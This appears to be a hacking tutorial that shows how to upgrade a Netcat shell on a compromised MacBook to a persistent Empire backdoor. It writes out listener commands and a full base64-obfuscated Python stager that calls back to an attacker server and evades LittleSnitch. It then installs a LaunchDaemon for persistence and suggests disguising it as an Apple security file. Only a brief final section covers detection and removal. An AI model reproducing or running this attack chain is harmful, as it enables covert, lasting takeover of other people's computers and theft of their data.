How to Install a Persistent Empire Backdoor on a MacBook

After <u>backdooring a MacBook not protected by FileVault</u> or <u>using a fake PDF to gain</u> <u>remote access</u>, an attacker may wish to upgrade their Netcat shell to something more fully featured. While a root shell allows attackers to remotely modify most files on the MacBook, <u>Empire</u> features some useful post-exploitation modules which make hacking Macs very easy.

At this point, an attacker would already have obtained remote access to the target MacBook or another model Mac computer. In my below example, I'm building on a <u>previously established Netcat backdoor</u>.

To begin, <u>Empire should be installed</u> and configured on the attacker's system. If the target MacBook is on a local network, installing Empire in Kali will suffice. If <u>the target is mobile</u> and <u>constantly moving between Wi-Fi networks</u>, Empire needs to be installed on the <u>attacker's virtual private server</u> (VPS).

Don't Miss: How to Connect to MacBook Backdoors from Anywhere

Step 1 Start the Empire Listener

<u>Empire should be up and running</u> with a listener waiting for incoming connections from the target MacBook. In this example, I'm using an HTTP listener on port 8080. The below commands can be used to quickly set up an Empire listener.

uselistener http set Port 8080 set Host <Attacker-IP-Address> execute This is what it should look like after you've run the commands:

(Empire) > listeners

[!] No listeners currently active

(Empire: listeners) > uselistener http (Empire: listeners/http) > set Port 8080 (Empire: listeners/http) > set Host xx.xx.x.xx

(Empire: listeners/http) > execute

[*] Starting listener 'http'

- * Serving Flask app "http" (lazy loading)
- * Environment: production

WARNING: do not use the development server in a production environment.

Use a production WSGI server instead.

* Debug mode: off

[+] Listener successfully started! (Empire: listeners/http) > listeners

[*] Active listeners:

Name	Mod	ule	Host		Delay/Jitter
			-		
http	http	ht	tp://xx.xx.x.xx:80	080	5/0.0

(Empire: listeners) > _

Step 2 Generate the Stager

Next, create a launcher script using the **osx/launcher** stager. This can be done using the below commands.

usestager osx/launcher set Listener http generate

```
(Empire) > listeners
[*] Active listeners:
  Name
                      Module
                                        Host
                                        http://1
  http
                      http
                                                         6:8080
(Empire: listeners) > usestager osx/launcher
(Empire: stager/osx/launcher) > set Listener http
(Empire: stager/osx/launcher) > generate
echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64deco
J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlç3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2g
                                            ihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXN
12IGdyZXAiCnBzID0gc3VicHJvY2Vz
                                            <mark>bvo</mark>LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25p
Gli<mark>M</mark>jsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYu
91dCA9IHBzLnN0ZG91dC5yZWFkKCkt
V0KToKICAgc3lzLmV4aXQoKQppbXBv
Q7IFRyaWRlbnQvNy4w0yBydjoxMS4v copy as HTML
                                            Edl<mark>Y2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC40Mi4wLjY20jg</mark>v
9sb2dpbi9wcm9jZXNzLnBocCc7cmVx
                                            | IuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGV
                                  Paste
FnZW50JyxVQSk7CnJlcS5hZGRfaGVl
                                            29raWUnLCJzZXNzaW9uPVRIaU9oa3UrN2FsdHp1Z0diRUU0
0iKTsKcHJveHkgPSB1cmxsaWIyLlBy<del>bshssoraz</del>GxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJ
xsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVsw0jRd
s00l07a2V5PUlWKycxYTFkYzkxYzkwNzMyNWM20TI3MWRkZjBj0TQ0YmM3Mic7UyxqLG91dD1yYW5nZSgyNTY<sub>|</sub>
9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICB
09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2lo
AgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0;
pleGVjKCcnLmpvaW4ob3V0KSk='));" | /usr/bin/python &
(Empire: stager/osx/launcher) > _
```

The entire Empire output should be copied and pasted into the Netcat terminal. In the above example, that would be the long line starting with "echo" near the bottom.

```
tokyoneon
bash: no job control in this shell
bash-3.2# echo "import sys,base64,warnings;warnings.filterwarn
ings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQg
cmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbm
l0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQs
IHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLn
N0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJM
aXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbG
liMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRy
aWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2hOdHA6Ly
8xMC40Mi4wLjY20jgw0DAn03Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVy
bGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLU
FnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPVRI
aU9oa3UrN2FsdHp1Z0diRUU00GRxVFhWaz0iKTsKcHJveHkgPSB1cmxsaWIyLl
Byb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkp
Owp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3Blbi
hyZXEpLnJlYWQoKTsKSVY9YVsw0jRd02RhdGE9YVs00l07a2V5PUlWKycxYTFk
YzkxYzkwNzMyNWM2OTI3MWRkZjBjOTQOYmM3Mic7UyxqLG91dD1yYW5nZSgyNT
YpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQo
a2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCm
k9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0o
aitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcH
BlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcn
LmpvaW4ob3V0KSk='));" | /usr/bin/python &_
```

A new agent <u>will appear</u> in the Empire terminal allowing the attacker to further exploit the MacBook.

A great number of post-exploitation modules are available to the attacker at this point. Stay tuned for future articles where I'll show how to use Empire's most advanced exploitation modules to further compromise the MacBook and Wi-Fi networks it connects to.

Copying the Empire output is simple enough for a hacker to do every time they want to upgrade their shell to a more advanced framework like <u>Empire</u> or <u>Metasploit</u>. But maintaining such a backdoor over a long period is a bit trickier. The Python script currently running as a background process will be terminated when the user logs out or the computer is turned off.

Below, I'll use a persistence module designed to create a new Empire agent every time the MacBook reboots.

Step 3 Establish Persistence Using Empire

From the Empire terminal, use the <u>agents</u> command to <u>view</u> the newly established Agent. Then, use the **interact** command to begin engaging with the compromised MacBook.

```
(Empire) > agents

[*] Active agents:

Name Lang Internal IP Machine Name Username Process
---- P98MAEEO py xx.xx.xxx xxxxx-MacBook-A *root /usr/bin/py

(Empire: agents) > interact P98MAEEO
(Empire: P98MAEEO) > _
```

The **info** command can be used to <u>view the available module options</u>.

(Empire) > interact P98MAEEO

(Empire: P98MAEEO) > usemodule persistence/osx/launchdaemonexecutable

(Empire: python/persistence/osx/launchdaemonexecutable) > info

Options:

or other).

Name Required Value Description Switch. Checks for LittleSnitch or a SandBox, exit the staging SafeChecks True True process if true. Defaults to True. DaemonLocation True The full path of where the Empire lau daemon should be located. DaemonName com.proxy.initialize Name of the Launch Daemon to install. Name will also True be used for the plist file. P98MAEE0 Agent True Agent to execute module on. Listener True Listener to use. UserAgent False default User-agent string to use for the stag, request (default, none,

(Empire: python/persistence/osx/launchdaemonexecutable) >

This particular Empire module requires several options be set before executing on the target MacBook. The required options can be set using the below commands.

```
set DaemonLocation /etc/empire_persistence
set DaemonName com.empire
set Agent <NAME>
set Listener <name>
```

Which would look like so, in my example:

```
(Empire: python/persistence/osx/launchdaemonexecutable) > set DaemonLocation /etc/empire_persistence
(Empire: python/persistence/osx/launchdaemonexecutable) > set DaemonName com.empire
(Empire: python/persistence/osx/launchdaemonexecutable) > set Agent P98MAEE0
(Empire: python/persistence/osx/launchdaemonexecutable) > set Listener http
(Empire: python/persistence/osx/launchdaemonexecutable) > _
```

- The <u>DaemonLocation</u> is the full path to the Empire executable which will be run
 when the MacBook reboots. For demonstration purposes, I'm using the /etc/
 directory and the filename empire_persistence. To avoid detection, the daemon
 can be created in a less obvious location.
- The DaemonName (com.empire) is the name of the <u>plist configuration file</u> and can be renamed to anything. For a more convincing file name, attackers may use com.applesecurity.plist. This plist file is automatically saved to the

- /Library/LaunchDaemons/ directory on the target MacBook and should not be moved or modified. Startup daemons are required to be in this directory.
- The Agent and Listener should also be set appropriately if not set automatically.

Use the **execute** command to embed the Empire backdoor into the MacBook.

execute

Below is <u>what it looks like</u> in my example. You might have to select *Y* on your keyboard if you get a prompt about it not being opsec safe.

(Empire: python/persistence/osx/launchdaemonexecutable) > execute

- [>] Module is not opsec safe, run? [y/N] y
- [*] Tasked P98MAEEO to run TASK CMD WAIT
- [*] Agent P98MAEEO tasked with task ID 1
- [*] Tasked agent P98MAEEO to run module python/persistence/osx/launchdaemonexecutable (Empire: python/persistence/osx/launchdaemonexecutable) > [*] Agent P98MAEEO returned
- [+] Persistence has been installed: /Library/LaunchDaemons/com.empire.plist
- [+] Empire daemon has been written to /etc/empire persistence
- [*] Valid results returned by xx.xx.x.xx

(Empire: python/persistence/osx/launchdaemonexecutable) > _

How to Protect Against Persistent Backdoors

Some antivirus software may protect against attacks like this, but there's no way to be sure without doing some testing on a Mac, which I will be doing later for an antivirus evasion article I'll be writing. I'll update my findings here if they do indeed protect against persistent backdoors. Otherwise...

Check for suspicious files. Startup daemons and directories used by macOS include /Library/LaunchDaemons, /Library/LaunchAgents, and /Users/<username>/Library/LaunchAgents. Files in these directories can be inspected by opening Terminal, using the cd and ls commands to change into the desired directory and view its contents. The launchctl command can be used to disable any suspicious daemons and removed using the rm command.

tokyoneon:~ root# cd /Library/LaunchDaemons/ tokyoneon:/Library/LaunchDaemons root# ls com.apple.plist com.h4ck3r.plist com.empire.plist com.netcat.plist tokyoneon:/Library/LaunchDaemons root# sudo launchctl unload com.h4ck3r.plist tokyoneon:/Library/LaunchDaemons root# rm com.h4ck3r.plist tokyoneon:/Library/LaunchDaemons root#

Don't Miss: Null Byte's Guides on Hacking macOS